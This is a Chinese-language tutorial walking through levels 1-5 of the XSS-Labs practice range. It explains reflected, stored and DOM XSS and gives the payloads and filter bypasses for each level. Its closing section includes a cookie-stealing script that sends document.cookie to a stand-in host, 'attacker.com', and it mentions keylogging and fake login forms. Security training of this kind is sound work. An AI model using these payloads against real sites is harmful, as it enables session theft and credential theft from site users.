XSS-Labs通关实战：从反射型到DOM型XSS的攻防思维训练

1. 从“弹窗”到实战：为什么XSS-Labs是Web安全入门的必修课

如果你刚开始接触Web安全，或者对“黑客”如何攻击网站感到好奇，那么“XSS”这个词你一定不陌生。它全称是跨站脚本攻击，听起来有点技术范儿，但它的入门演示往往简单到令人惊讶——就是让网页弹出一个写着“XSS”的警告框。很多新手会因此觉得，XSS不过如此，就是个“弹窗游戏”。但如果你真的抱着这种心态去面对真实的网络环境，很可能会碰得头破血流。XSS-Labs这个靶场，正是为了打破这种误解而存在的。它不是一个让你炫技弹窗的玩具，而是一套精心设计的、模拟真实世界防御逻辑的闯关迷宫。通关前5关，你学到的绝不是一个攻击语句，而是一整套关于浏览器如何解析代码、服务器如何过滤输入、以及攻击者如何见缝插针的底层思维。这就像学武术，套路（Payload）是招式，但理解对手的格挡方式（过滤规则）和寻找破绽的思路，才是内功。接下来，我将带你手把手通关XSS-Labs的1-5关，过程中我会重点分享那些官方文档不会写、只有踩过坑才知道的“潜规则”和调试技巧。

2. 环境准备与核心工具：你的“手术刀”和“显微镜”

工欲善其事，必先利其器。在开始解剖XSS-Labs之前，我们需要准备好趁手的工具。这里没有复杂的配置，关键在于理解每个工具在实战中的角色。

2.1 靶场部署：不止是“启动一下”

XSS-Labs通常是一个PHP项目。拿到源码后，很多人会直接丢到PHPStudy或XAMPP的www目录下，访问localhost就完事。但这里有个关键细节：务必注意PHP的版本。一些较老的靶场代码可能在PHP 7.4及以上版本中会因为某些过期函数或语法差异而报错，导致关卡逻辑异常。建议使用PHP 5.6至7.3之间的版本，这是大多数经典靶场兼容性最好的环境。

部署后，第一件事不是急着点开第一关，而是浏览一下靶场的目录结构。看看有没有level1.php到level5.php这样的文件，或者一个统一的index.php通过参数调用不同关卡。理解它的程序入口，有助于你后续的代码审计（如果允许的话）。有时候，靶场的前端页面会暴露一些提示，比如关卡名称“反射型XSS”或“DOM型XSS”，这能提前帮你确立攻击方向。

2.2 浏览器与开发者工具：你的主战场

现代浏览器（Chrome/Firefox）的开发者工具是分析XSS的“瑞士军刀”。我们需要熟练掌握几个核心面板：

  • 元素面板：用于查看HTML DOM的实时状态。当你注入一段脚本后，要立刻来这里看看，你的payload是被原样插入，还是被转义了（比如<变成了&lt;）。右键“检查”元素是常规操作。
  • 网络面板：这是极易被新手忽略，却至关重要的部分。它记录了浏览器发出的所有请求和接收的响应。对于反射型XSS，你的输入会体现在请求的URL参数或POST数据里。服务器返回的HTML响应体也在这里。你需要对比“你发送了什么”和“服务器返回了什么”，从而判断服务端做了哪些过滤处理。例如，你输入<script>alert(1)</script>，但在响应体里看到的是&lt;script&gt;alert(1)&lt;/script&gt;，那说明服务端进行了HTML实体编码。
  • 控制台面板：用于执行JavaScript代码和查看错误信息。当你的payload涉及复杂的JS执行时，可以在这里直接调试。有时，页面已有的JS代码会干扰你的payload，控制台的报错信息能给你线索。
  • 源代码面板：查看服务器返回的原始HTML源代码，与“元素面板”的实时DOM形成对比。对于DOM型XSS，漏洞点可能在客户端的JS代码里，源代码面板是静态分析起点，元素面板是动态执行结果。

2.3 必备浏览器插件：效率倍增器

  • HackBar：一个经典插件。它允许你方便地编辑URL参数、POST数据，进行编码解码（如URL编码、Base64），并快速重放请求。手动拼接复杂的payload时，它能节省大量时间。
  • EditThisCookie：用于查看和修改当前站点的Cookie。在涉及存储型XSS或Cookie窃取的关卡中非常有用。

实操心得：不要过度依赖插件的自动化功能。初期建议手动在浏览器地址栏或搜索框里拼接payload，这能加深你对参数传递和编码的理解。HackBar更适合在payload变得复杂、需要反复测试时使用。

3. 核心原理深度拆解：XSS的三种面孔与过滤逻辑

在动手之前，我们必须从概念上厘清XSS的三种主要类型，因为面对不同类型的XSS，我们的攻击策略和测试重点截然不同。

3.1 反射型XSS：一次性的“钓鱼钩”

反射型XSS，也叫非持久型XSS。它的数据流是这样的：攻击者构造一个含有恶意脚本的URL -> 受害者点击这个URL -> 服务器将恶意脚本“反射”回受害者的浏览器 -> 脚本在受害者浏览器中执行。 它的关键特征是：恶意代码存在于URL中，并且由服务器直接嵌入到返回的页面里。它通常出现在搜索框、错误消息页面等地方，需要诱骗用户点击才能触发。在XSS-Labs的前几关，大多都是反射型。

服务器端的常见过滤与绕过思路：服务器为了防御，会对你的输入进行处理。常见的“黑名单”式过滤包括：

  1. 脚本标签过滤：直接删除或转义<script>和</script>字符串。
    • 绕过尝试：使用大小写混合<ScRiPt>，或者嵌套无效标签<scr<script>ipt>（假设过滤函数只执行一次，删除<script>后，剩下的字符会组合成新的<script>）。
  2. 事件处理器过滤：过滤onclick,onerror,onload等HTML事件属性。
    • 绕过尝试：使用不常见的事件，或者利用SVG/HTML5新标签的事件属性。
  3. HTML实体编码：将<、>、&、"、'等字符转换为&lt;、&gt;等。这是最有效的防御手段之一。
    • 绕过思路：寻找未编码的上下文。如果输入点在一个HTML标签的属性值里，且属性值没有被引号括好，或者引号被闭合，就可能跳出属性限制，创建新属性或标签。

3.2 存储型XSS：潜伏的“地雷”

存储型XSS，也叫持久型XSS。它的数据流是：攻击者将恶意脚本提交到服务器（如留言、昵称）-> 服务器将脚本保存到数据库 -> 其他普通用户浏览相关页面时，恶意脚本从服务器加载并执行。 它的危害更大，因为不需要诱骗点击，所有访问页面的用户都会中招。在靶场中，它可能模拟博客评论、用户个人资料等场景。

它的过滤往往更严格，因为数据会持久化，管理员可能会在后端进行多重过滤。除了反射型遇到的过滤，还可能包括：

  • 输入长度限制：前端JS限制或后端验证。
  • 内容安全策略：限制脚本来源。
  • 富文本过滤：使用白名单机制，只允许安全的HTML标签和属性。

3.3 DOM型XSS：纯前端的“魔术”

DOM型XSS是一种特殊的类型，它的恶意代码完全不经过服务器。漏洞发生在客户端JavaScript代码中，当JS不当地操作DOM（文档对象模型），将用户可控的数据动态地写入页面时，就可能发生。 例如：document.write(location.hash.substring(1));这段代码将URL的锚点部分（#后面的内容）直接写入页面。如果攻击者构造URL为#<img src=x onerror=alert(1)>，就会触发XSS。

它的难点在于发现和推理。你需要分析前端JS代码的逻辑，找到从“源”（如document.URL、location.search、document.referrer）到“汇”（如innerHTML、document.write、eval）的数据流。浏览器的开发者工具“源代码”面板和调试器是你的主要武器。

4. 关卡实战通关与深度分析

下面我们进入XSS-Labs 1-5关的实战。我将以“攻击者思维”带领你逐步分析、测试并最终攻破每一关，并详细解释每一步背后的原理和多种可能性。

4.1 第一关：毫无防护的“Hello World”

关卡现象：通常是一个简单的搜索框或表单，提交后会在页面上显示“你输入的是：XXX”。

测试过程：

  1. 在输入框尝试最基本的payload：<script>alert('xss')</script>。
  2. 提交后，页面成功弹窗。

通关Payload：<script>alert('xss')</script>

深度分析： 这一关是“裸奔”状态，服务器没有对输入做任何过滤，直接将其拼接进HTML响应中。从网络面板查看响应，你会发现你的<script>标签被原封不动地插入了。这模拟了早期Web应用或开发人员安全意识极度薄弱的情况。

  • 为什么能执行？浏览器在解析HTML时，遇到<script>标签会将其内容作为JavaScript代码进行解析和执行。
  • 弹窗函数的选择：这里用了alert('xss')，你也可以用alert(1)或alert(document.domain)。document.domain可以显示当前页面的域名，在后续涉及同源策略的关卡中更有用。

注意事项：即使在这一关，也建议养成习惯，提交后立即打开开发者工具的“元素”面板，查看你的payload被放置在HTML结构的哪个位置。是在<div>标签内，还是在<input>标签的value属性里？这决定了后续关卡如果这里被过滤，你该往哪个方向尝试绕过。

4.2 第二关：搜索框下的“价值”属性

关卡现象：类似第一关，但输入内容后，不仅页面上有显示，查看源码会发现你的输入也被放在了搜索框的value属性里，例如<input type="text" value="你输入的内容">。

初步测试： 直接输入<script>alert(1)</script>，发现页面没有弹窗。查看元素面板，你会发现类似这样的结构：

<input type="text" value="<script>alert(1)</script>">

你的payload被完整地放在了HTML属性值（双引号内）。浏览器不会将属性值中的文本当作HTML标签来解析，它只是一段普通的字符串。

攻击思路： 我们需要闭合当前的value属性，然后引入一个新的能够执行JS的属性（事件处理器），最后闭合掉<input>标签。构造如下payload："><script>alert(1)</script>或者更精简地，直接利用HTML事件属性：" onmouseover="alert(1)或者，为了更自动触发，可以用onfocus事件，并配合autofocus属性（但需要用户交互），或者更直接的onload事件（但<input>标签不支持onload）。对于<input>，一个经典的自动触发payload是：" autofocus onfocus="alert(1)但autofocus在同一个页面可能只对第一个元素生效。更通用的是：" onclick="alert(1)但这需要点击。为了无需交互，我们可以尝试闭合<input>标签，然后插入一个新的可执行脚本的标签："><img src=x onerror=alert(1)>

最终通关Payload："><script>alert(1)</script>或"><img src=x onerror=alert(1)>

深度分析： 这一关引入了上下文的概念。你的输入被放在HTML标签的属性值中。你必须先跳出这个属性的束缚（闭合引号），才能引入新的HTML内容或属性。

  • ">：第一个双引号用于闭合value属性原有的左引号，>用于闭合<input>标签本身。这样，后面的<script>标签就成为了独立的HTML元素。
  • 为什么<img src=x onerror=alert(1)>也能工作？我们构造了一个图片标签，并指定了一个错误的图片源src=x。当图片加载失败时，会触发onerror事件，从而执行我们的JavaScript代码。这是一种非常常用的、不依赖<script>标签的XSS手段。

4.3 第三关：单引号的陷阱与属性闭合

关卡现象：与第二关类似，但查看源码发现，value属性的值是用单引号括起来的：<input type='text' value='你输入的内容'>。

测试与思考： 如果你沿用第二关的payload"><script>alert(1)</script>，查看元素会发现它变成了：

<input type='text' value=''><script>alert(1)</script>'>

由于原属性是单引号，你用双引号去闭合是无效的。你的双引号被当作属性值的一部分，后面的>闭合了<input>标签，但末尾多出了一个单引号。

攻击思路： 既然属性是单引号包裹，我们就需要用单引号来闭合它。同时，为了注入事件处理器，我们需要在闭合属性后，在标签内添加新属性。构造payload：' onclick='alert(1)提交后，生成的HTML会是：

<input type='text' value='' onclick='alert(1)'>

解释：第一个单引号闭合了value属性的左引号，然后我们添加了一个onclick事件属性。由于onclick的值也需要引号，我们直接用了单引号开始，但注意，我们并没有显式地闭合它。为什么？因为HTML解析器会认为onclick的值从第二个单引号开始，一直遇到下一个单引号结束，而这个结束的单引号，恰好是原始HTML中value属性值右侧的那个单引号！这样就巧妙地利用了原有的引号完成了闭合。

通关Payload：' onclick='alert(1)你需要点击一下输入框，才会触发弹窗。

深度分析与更多尝试：

  • 自动化触发：能否像第二关那样，闭合标签插入新元素？可以尝试：'><script>alert(1)</script>。但注意，后面可能还有'>需要处理。实际上，构造'><img src=x onerror=alert(1)>可能更直接。但需要先确认服务器是否过滤了>或<。
  • 大小写绕过：如果onclick被过滤，可以尝试OnClick、ONCLICK等。HTML对属性名不区分大小写。
  • 编码绕过：如果单引号'被过滤，可以尝试URL编码%27或HTML实体编码&#x27;（&#39;），看浏览器在解析时是否会解码。

实操心得：这一关的核心是观察引号类型。在实战中，一定要用开发者工具查看元素生成的最终HTML结构，而不是只看页面源码。浏览器的“元素”面板显示的是解析后的DOM，它能最真实地反映你的payload所处的上下文环境。

4.4 第四关：双引号回归与标签闭合进阶

关卡现象：输入点可能又在value属性里，但引号类型可能变了，或者存在其他过滤。

测试过程：

  1. 先输入一个试探性payload："><script>alert(1)</script>。查看元素，发现>被转义或过滤了。
  2. 输入“ onclick=”alert(1)（假设是双引号属性），也可能失败。
  3. 查看网络响应或源码，发现服务器可能对<、>进行了HTML实体编码（转成&lt;和&gt;），但引号“和”可能没被处理。

攻击思路： 既然<和>被编码，我们无法通过插入新标签（如<script>或<img>）来攻击。那么思路就回到利用现有标签的事件属性上。我们需要确认属性是用什么引号包裹的。假设是双引号。 我们尝试闭合属性并添加事件：" onmouseover="alert(1)。 如果成功，生成的HTML是：<input type="text" value="" onmouseover="alert(1)">。当鼠标划过输入框时触发。 但这一关可能更进一步：它可能过滤了onxxx这类事件处理器关键字。我们可以尝试：

  • 大小写混淆：OnMouseOver
  • 插入空字符（URL编码%00在某些旧浏览器中可能截断过滤函数）：on%00mouseover
  • 利用其他HTML属性：例如，<input>标签的formaction属性（用于覆盖表单的action，通常用于<button type=submit>，但某些浏览器在非标准用法下可能有问题），或者style属性结合expression（仅限旧版IE）等。但这些方法限制较多。

假设本关是双引号属性且只过滤了<>，那么一个可靠的payload是：" autofocus onfocus="alert(1)这利用了autofocus属性让输入框自动获得焦点，从而触发onfocus事件。

通关Payload：" onmouseover="alert(1)或" autofocus onfocus="alert(1)

深度分析： 这一关开始引入关键字过滤。我们的攻击面从“插入新标签”被压缩到“利用现有标签的属性”。这要求我们对HTML标签的各类属性有更广泛的了解。同时，要善于利用浏览器的开发者工具，尝试输入一些特殊字符，观察哪些被转义、哪些被删除、哪些被保留，从而摸清服务器的过滤规则。

4.5 第五关：伪协议与JavaScript链接的妙用

关卡现象：这一关的场景可能发生了变化。输入点可能不再是一个简单的文本输入框，而是一个链接（<a>标签）的href属性，或者<iframe>的src属性等。

常见模拟场景：页面上有一个“点击跳转”的链接，URL形如level5.php?name=test&link=xxx，其中link参数的值会被放入一个<a>标签的href属性中：<a href="你输入的link值">点击这里</a>。

测试与思考： 如果我们输入javascript:alert(1)，并点击这个链接，浏览器会执行alert(1)。这是因为href属性支持javascript:伪协议，后面的代码会被当作JavaScript执行。 但是，服务器可能会过滤javascript:这个关键字。尝试输入javascript:alert(1)，发现链接失效或被修改。

攻击思路：

  1. 大小写绕过：JavaScript:alert(1)、JAVASCRIPT:alert(1)。
  2. URL编码：对部分字符进行编码，如javascript:alert(1)编码为j%61v%61script:alert(1)。浏览器在解析href时会对其进行解码。
  3. 利用空白符：在某些上下文中，java script:（中间有空格或换行）可能被浏览器正确解析，但会被简单的字符串匹配过滤忽略。
  4. 双写绕过：如果过滤是删除一次javascript:，可以尝试javajavascript:script:alert(1)，删除中间的javascript:后，剩下的部分拼接起来还是javascript:alert(1)。

假设本关过滤了javascript:字符串，我们可以尝试：JAVASCRIPT:alert(1)或者，如果它不区分大小写地删除，我们可以用javajavascript:script:alert(1)。

通关Payload：JAVASCRIPT:alert(1)

深度分析与扩展：javascript:伪协议不仅可用于<a>标签的href，还可用于<iframe>的src、<form>的action、<object>的data等属性。这是一种非常经典的XSS向量。

  • 注意事项：现代浏览器对javascript:伪协议的执行有更严格的限制，特别是在跨域或某些安全上下文中。但在同源页面内，它仍然有效。
  • 实战联想：如果遇到一个可以自定义的“收藏夹”或“快速链接”功能，其URL字段如果没有严格校验协议头（http://,https://），就可能被注入javascript:伪协议，导致存储型XSS。

5. 调试技巧与问题排查实录

在实际通关过程中，你绝不会一帆风顺。下面是我在无数次测试中总结出的排查流程和常见问题，这比任何现成的payload都更有价值。

5.1 通用测试与信息收集Payload

在发起正式攻击前，先用一些无害的payload探路，收集信息：

  1. 探测过滤规则：依次输入以下字符，观察输出：<、>、"、'、&、(、)、script、on。查看它们是被原样显示、转义（如<变成&lt;）、还是被删除。这能帮你快速绘制服务器的“过滤画像”。
  2. 探测上下文：输入'“<>等字符组合，如'">，然后查看元素面板，看它们是如何影响HTML结构的。这能帮你确定属性引号类型和闭合状态。
  3. 使用简单alert：在确认基本字符可用后，先用最简单的<script>alert(1)</script>测试，这是基线。

5.2 开发者工具的高级用法

  • 断点调试DOM型XSS：对于DOM型漏洞，在“源代码”面板找到疑似有问题的JS文件，在innerHTML、document.write、eval等“危险函数”所在行设置断点。重新触发页面逻辑（如提交表单），程序会在此暂停，你可以查看当时变量的值，精确跟踪用户输入是如何流入危险函数的。
  • 监控网络请求：始终打开“网络”面板，保持“Preserve log”（保留日志）选项被勾选。提交payload后，仔细查看对应请求的“参数”和“响应”选项卡。对比“发送的Payload”和“服务器返回的HTML”，任何差异都是过滤的线索。
  • 控制台验证Payload：当你构思了一个复杂的payload，特别是涉及JavaScript字符串拼接时，可以先在控制台里模拟测试。例如，输入eval('alert("te" + "st")')来验证你的代码逻辑是否正确。

5.3 常见问题与解决方案速查表

问题现象可能原因排查步骤与解决方案
输入<script>alert(1)</script>后页面无反应，且元素面板中看不到该标签。1. 服务器端完全过滤或删除了<script>标签。
2. 输入被HTML实体编码（查看源码看<是否变成&lt;）。		1. 查看网络响应，确认payload是否被返回。如果被删除，尝试大小写、嵌套标签（如<scr<script>ipt>）。
2. 如果被编码，尝试寻找未编码的注入点，如HTML标签属性内部（需闭合引号）。
事件处理器（如onclick）不执行。1. 事件处理器名称被过滤。
2. 事件处理器的值（JS代码）被过滤或编码。
3. 语法错误，如引号不匹配。		1. 尝试大小写变种（OnClick）、插入空字符、使用不常见事件（onpointerover）。
2. 在控制台手动执行相同的JS代码，检查是否被浏览器安全策略阻止。
3. 使用元素面板检查生成的HTML属性是否完整、引号是否正确闭合。
javascript:伪协议链接点击后无反应或跳转到空白页。1.javascript:关键字被过滤或替换。
2. 浏览器安全策略限制（如CSP）。
3. 链接被<a>标签的其他属性（如target、rel）影响。		1. 检查网络请求，看href属性值是否被修改。尝试大小写、URL编码、双写绕过。
2. 查看浏览器控制台是否有CSP违规错误。
3. 尝试在其他支持伪协议的属性中测试，如<iframe src>。
Payload在本地测试成功，但在靶场不成功。1. 靶场有额外的、不可见的过滤或验证逻辑（如后端二次处理）。
2. 浏览器版本差异（特别是对HTML5、XSS Auditor的兼容性）。
3. Payload中存在不可见字符或编码问题。		1. 进行更细致的信息收集，测试更多特殊字符和边界情况。
2. 尝试在Chrome、Firefox等多个浏览器中测试。
3. 使用HackBar等工具，确保payload的编码与浏览器发送时完全一致。对比原始请求。
弹窗被浏览器内置的XSS过滤器（如Chrome的XSS Auditor）阻止。浏览器检测到反射型XSS攻击并进行了拦截。1. 尝试更隐蔽的payload，避免使用明显的<script>alert模式。
2. 利用<img>的onerror、<svg>的onload等事件。
3. 将payload拆分，通过多个参数或方式传递，在客户端进行拼接。

5.4 思维进阶：从绕过到利用

通关这5关，你掌握的是“绕过”技巧。但真实的XSS攻击远不止于此。真正的价值在于“利用”。一个弹窗证明了漏洞存在，接下来呢？

  • 窃取Cookie：将payload改为<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>，将用户的会话Cookie发送到攻击者控制的服务器。
  • 键盘记录：注入一个脚本，监听页面的onkeypress事件，将按键发送到远程服务器。
  • 钓鱼与篡改：利用XSS修改页面内容，插入一个伪造的登录框，窃取用户凭证。
  • 结合其他漏洞：例如，通过XSS发起CSRF请求，以用户身份执行敏感操作。

理解这些利用场景，会让你在测试时更有目的性，也能更好地评估一个XSS漏洞的实际危害等级。XSS-Labs的前5关是基石，它们训练了你最核心的漏洞发现和绕过思维。带着这种思维，你才能去挑战更复杂的关卡，直至应对真实世界的Web应用。记住，永远保持好奇，永远亲手测试，每一个错误页面和过滤规则背后，都可能藏着通往下一关的钥匙。